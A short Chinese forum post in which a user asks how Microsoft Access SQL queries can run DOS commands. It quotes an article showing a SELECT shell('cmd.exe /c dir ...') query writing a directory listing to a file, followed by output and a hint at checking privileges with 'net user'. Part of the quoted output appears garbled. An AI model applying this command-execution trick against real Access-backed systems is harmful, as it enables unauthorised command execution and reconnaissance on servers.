前两天在网上发现了一篇文章,讲的是ACCSEE在SQL视图中可以运行DOS命令的问题,我对DOS也略有了解,但在ACCSEE的帮助文件中并没有找到关于这方面的帮助,请知道的大哥给简单讲讲,谢谢!!!!
我看到的是:
===================================
我们先在access里直接sql查询:
SELECT shell('c:\winnt\system32\cmd.exe /c dir c:\ >c:\123456.txt');
“运行”得到结果:
C:\>dir 123456.txt
驱动器 C 中的卷没有标签。
卷的序列号是 3CEE-A8A9
C:\ 的目录
2004-01-09 22:29 1,718 123456.txt
1 个文件 1,718 字节
0 个目录 1,224,527,872 可用字节
C:\>type 123456.txt
驱动器 C 中的卷没有标签。
卷的序列号是 3CEE-A8A9
c:\ 的目录
2004-01-07 15:35 44 1.txt
2004-07-15 05:15 49 11.txt
2004-01-09 22:29 0 123456.txt
2004-07-31 15:50 478 333.txt
成功执行,我们看看权限,语句改为:
SELECT shell('c:\winnt\system32\cmd.exe /c dir c:\ >c:3456.txt');
运行后:
C:\>net user \KAK-E8UHOQQ9M6S 的用户帐户
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
后面还有一点,我想知道的朋友已经明白是怎么回事了。 |